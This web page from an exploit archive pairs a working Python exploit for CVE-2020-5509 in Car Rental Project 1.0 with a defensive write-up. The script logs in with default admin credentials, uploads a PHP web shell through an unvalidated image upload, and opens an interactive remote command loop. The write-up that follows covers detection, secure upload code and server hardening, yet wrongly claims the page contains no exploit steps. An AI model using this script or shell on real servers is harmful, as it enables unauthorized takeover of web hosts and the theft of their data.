Car Rental Project 1.0 - Remote Code Execution

Exploit Author: ub3rsick Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2025-04-16
# Exploit Title: Car Rental Project 1.0 - Remote Code Execution
# Date: 1/3/2020
# Exploit Author: FULLSHADE, SC
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/car-rental-project-php-mysql-free-download/
# Version: 1.0
# Tested on: Windows
# CVE : CVE-2020-5509
# ==================================================
# Information & description
# ==================================================
# Car Rental Project v.1.0 is vulnerable to arbitrary file upload since an admin can change the image of a product and the file change PHP code doesn't validate or care what type of file is submitted, which leads to an attack having the ability to upload malicious files. This Python POC will execute arbitrary commands on the remote server.
# ==================================================
# Manual POC
# ==================================================
# Manual POC method
# - Visit carrental > admin login > changeimage1.php
# - Upload a php rce vulnerable payload
# - Visit /carrentalproject/carrental/admin/img/vehicleimages/.php to visit your file
# - Execute commands on the server
# ==================================================
# POC automation script
# ==================================================

import sys
import requests

print("""
+-------------------------------------------------------------+
Car Rental Project v1.0 - Remote Code Execution
FULLSHADE, FullPwn Operations
+-------------------------------------------------------------+
""")

def login():
    sessionObj = requests.session()
    RHOSTS = sys.argv[1]
    bigstring = "\n+-------------------------------------------------------------+\n"
    print("+-------------------------------------------------------------+")
    print("[+] Victim host: {}".format(RHOSTs))
    POST_AUTH_LOGIN = "http://" + RHOSTS + "/carrentalproject/carrental/admin/index.php"
    SHELL_UPLOAD_URL = "http://" + RHOSTS + "/carrentalproject/carrental/admin/changeimage1.php"

    # login / authentication
    payload = {"username": "admin", "password": "Test@12345", "login": ""}
    login = sessionObj.post(POST_AUTH_LOGIN, data=payload)

    # get response
    if login.status_code == 200:
        print("[+] Login HTTP response code: 200")
        print("[+] Successfully logged in")
    else:
        print("[!] Failed to authenticate")
        sys.exit()

    # get session token
    session_cookie_dic = sessionObj.cookies.get_dict()
    token = session_cookie_dic["PHPSESSID"]
    print("[+] Session cookie: {}".format(token))

    # proxy for Burp testing
    proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

    # data for uploading the backdoor request
    backdoor_file = {
        "img1": (
            "1dccadfed7bcbb036c56a4afb97e906f.php",
            '<?php system($_GET["cmd"]); ?>',
            "Content-Type application/x-php",
        )
    }
    backdoor_data = {"update": ""}
    SHELL_UPLOAD_URL = "http://" + RHOSTS + "/carrentalproject/carrental/admin/changeimage1.php"

    # actually upload the php shell
    try:
        r = sessionObj.post(url=SHELL_UPLOAD_URL, files=backdoor_file, data=backdoor_data)
        print("[+] Backdoor upload at /carrentalproject/carrental/admin/img/vehicleimages/1dccadfed7bcbb036c56a4afb97e906f.php" + bigstring)
    except:
        print("[!] Failed to upload backdoor")

    # get command execution
    while True:
        COMMAND = str(input('\033[32m' + "Command RCE >> " + '\033[m'))
        SHELL_LOCATION = "http://" + RHOSTS + "/carrentalproject/carrental/admin/img/vehicleimages/1dccadfed7bcbb036c56a4afb97e906f.php"
        # get R,CE results
        respond = sessionObj.get(SHELL_LOCATION + "?cmd=" + COMMAND)
        print(respond.text)

if __name__ == "__main__":
    login()


Car Rental Project 1.0 — Remote Code Execution (CVE-2020-5509): Analysis, Impact, and Mitigation

This article explains the remote code execution (RCE) vulnerability reported against the "Car Rental Project" v1.0 (CVE-2020-5509) at a defensive and remediation-focused level. It covers what the vulnerability class is, why it matters, safe testing advice, indicators of compromise, long-term secure coding controls, and concrete mitigation patterns you can apply to similar PHP applications. It does not provide exploit steps or any content that would enable misuse.

Vulnerability summary

ItemDetails
ProductCar Rental Project (PHP/MySQL) v1.0
VulnerabilityUnrestricted file upload leading to potential remote code execution
CVECVE-2020-5509
ImpactAn authenticated (admin) upload flow accepted files without sufficient validation; uploaded files may be executed by the webserver, allowing arbitrary command execution or persistence.
DisclosureReported January 2020

What is an "unrestricted file upload" vulnerability?

Unrestricted file upload occurs when an application accepts uploaded files but fails to sufficiently validate, sanitize, or control how those files are stored and served. If an attacker can upload a file containing server-side code (for example, a PHP file in a PHP-based app) and that file is placed where the webserver will execute it, the attacker can achieve remote code execution.

The risk is higher when:

  • Uploads are stored inside the webroot and served directly by the webserver.
  • The application only checks the client-provided filename or extension (which can be spoofed).
  • MIME-type checks are superficial and can be bypassed.
  • Uploaded files receive permissive filesystem permissions and PHP execution is allowed in that directory.

Why this vulnerability matters

  • RCE gives an attacker broad control over the web server process and potentially the host system.
  • Attacker actions can include data theft, lateral movement, persistence, and deploying further malware.
  • Even if only authenticated users can upload, many applications use weak or default admin credentials, making exploitation realistic.

Safe testing and responsible disclosure

  • Only test on systems you own or have explicit authorization to test.
  • Use isolated lab environments or containerized deployments to reproduce and confirm issues safely.
  • If you discover a vulnerability in a third-party product, follow coordinated disclosure practices: contact the vendor, provide reproducible but non-exploitable details, allow time for patching, and then disclose responsibly.

Indicators of compromise (IoCs) and detection tips

  • Unexpected PHP or other executable files in upload directories (e.g., /uploads/, /img/, /media/).
  • HTTP requests to image/upload directories with query parameters or suspicious paths.
  • New or unusual scheduled jobs, reverse connection attempts, or outbound network connections from webserver processes.
  • Webserver logs showing execution of resources that normally should be static (images, PDFs) or strange user-agent strings following uploads.

Immediate remediation steps (for administrators)

  • Apply vendor patches or updates. If an official fix is available, prioritize it.
  • Audit all upload locations and verify no executable source files (PHP, ASP, JSP, etc.) are present. Remove suspicious files and investigate further.
  • If credentials are not strong or possibly compromised, rotate admin passwords and review authentication policies.
  • Limit file upload size and rate-limit upload endpoints where possible.
  • Harden the server so that even if an executable file is present, it cannot be interpreted (deny script execution in upload folders — examples below).

Long-term secure controls and coding best practices

Below are defense-in-depth controls and secure coding practices to prevent and mitigate unrestricted file upload vulnerabilities in PHP web apps.

  • Never trust client-supplied filenames or MIME types. Use server-side checks (fileinfo/finfo, magic bytes).
  • Whitelist allowed file types (e.g., only allow .jpg, .png for images) and validate content against the expected formats.
  • Store uploaded files outside the webroot or on a separate domain/subdomain that does not execute scripts.
  • When storing inside the webroot, ensure the upload directory is configured to disallow script execution by the webserver.
  • Rename files using safe, generated filenames (UUIDs, hashes) and avoid using the original user-supplied name.
  • Set restrictive filesystem permissions (e.g., owned by a non-privileged user and not writable by the webserver beyond required operations).
  • Scan uploaded files for malware and use content sanitization for files that can contain markup (e.g., SVGs).
  • Log and alert on unusual upload activity and on attempts to access potentially executable files in upload locations.
  • Implement least privilege for the web application and separate services (database, file storage, web server).

Practical defensive code examples (PHP)

The following PHP examples illustrate secure upload handling patterns. These are defensive patterns designed to reduce the risk of file-based RCE. They are safe to include because they focus on validation and mitigation rather than exploitation.

<?php
// Example: secure file upload (simplified)
// - Accepts an uploaded file via $_FILES['file']
// - Validates MIME/type using finfo
// - Enforces extension whitelist
// - Generates a safe random filename
// - Stores files outside the webroot (example: /var/www/uploads_outside_webroot)
// - Limits the upload size and checks errors

$allowedExtensions = ['jpg','jpeg','png','gif','pdf'];
$maxBytes = 2 * 1024 * 1024; // 2 MB
$uploadDir = '/var/www/uploads_outside_webroot/'; // store outside webroot

if (!isset($_FILES['file'])) {
    http_response_code(400);
    echo 'No file uploaded';
    exit;
}

$file = $_FILES['file'];

// Basic upload error check
if ($file['error'] !== UPLOAD_ERR_OK) {
    http_response_code(400);
    echo 'Upload error';
    exit;
}

if ($file['size'] > $maxBytes) {
    http_response_code(413);
    echo 'File too large';
    exit;
}

// Use finfo to determine real mime-type
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mimeType = $finfo->file($file['tmp_name']);

// Map of mime types to extensions (minimally)
$mimeToExt = [
    'image/jpeg' => 'jpg',
    'image/png'  => 'png',
    'image/gif'  => 'gif',
    'application/pdf' => 'pdf'
];

if (!isset($mimeToExt[$mimeType])) {
    http_response_code(415);
    echo 'Unsupported media type';
    exit;
}

$ext = $mimeToExt[$mimeType];
if (!in_array($ext, $allowedExtensions, true)) {
    http_response_code(415);
    echo 'Invalid file extension';
    exit;
}

// Generate a safe filename
$randomName = bin2hex(random_bytes(16)) . '.' . $ext;
$destination = $uploadDir . $randomName;

// Move file to destination outside webroot
if (!move_uploaded_file($file['tmp_name'], $destination)) {
    http_response_code(500);
    echo 'Failed to store file';
    exit;
}

// Set restrictive permissions
chmod($destination, 0640);

echo 'Upload successful';
?>

Explanation: This code demonstrates safe upload handling by verifying the real MIME type using finfo, mapping it to a safe extension, generating a random filename (no user input in the name), storing files outside the webroot, and setting restrictive permissions. It also enforces file size limits and basic upload error checks. In production, add more robust logging and scanning.

Webserver configurations to prevent execution

Even with strict upload validation, it is wise to configure the webserver so uploaded files cannot be executed as scripts. Below are examples for Apache and Nginx.

# Apache: place an .htaccess or site config for the upload directory to disable script execution
# Example .htaccess content for the uploads directory (if using Apache with AllowOverride enabled)
Options -ExecCGI
RemoveHandler .php .phtml .php3 .php4 .php5
RemoveType application/x-httpd-php
<FilesMatch "\.(php|phtml|php3|php4|php5)$">
    Require all denied
</FilesMatch>

Explanation: The Apache configuration prevents PHP and similar script files from being executed in the upload directory. It removes handlers for PHP and denies requests to files matching script extensions.

# Nginx: place a location block in your site config that serves upload files as static and denies PHP processing
location /uploads/ {
    root /var/www/;  # root combined with the URI as usual
    try_files $uri =404;
    # Deny script processing for everything under /uploads/
    location ~* \.(php|phtml|php3|php4|php5)$ {
        return 404;
    }
    # Optionally add extra headers for static content and caching
}

Explanation: Nginx configuration ensures that files under /uploads/ are treated as static and denies direct processing of script extensions. Combine this with storing uploads outside the webroot or on a separate host or CDN for defense in depth.

Monitoring, detection and recovery

  • Set up file integrity monitoring (FIM) to detect new or modified files in upload locations and other webroot directories.
  • Review webserver access logs and error logs for suspicious access patterns, especially POSTs to upload endpoints and GETs to unexpected file paths.
  • If a compromise is suspected: isolate the host, preserve logs and disk images for forensic analysis, revoke credentials that may have been exposed, and restore from a known-good backup after a full root cause analysis and patching.

How to prioritize fixes

For organizations using the affected software or similar components, prioritize mitigation as follows:

  • High priority: apply vendor-supplied patches, disable public access to the admin panel, rotate credentials, and remove any suspicious files.
  • Medium priority: add webserver rules to prevent script execution in upload locations and implement stricter upload validation.
  • Low priority: strengthen logging, implement content scanning for uploads, and conduct secure code reviews for the upload handling implementation.

Conclusion

Unrestricted file upload vulnerabilities are common and often lead to severe consequences such as RCE. The correct approach combines secure coding (server-side validation, whitelisting, and safe filename handling), server hardening (deny script execution in upload directories, store uploads outside webroot), monitoring, and timely patching. If you maintain PHP web applications, apply these controls proactively and test upload functionality in isolated environments to ensure it remains safe.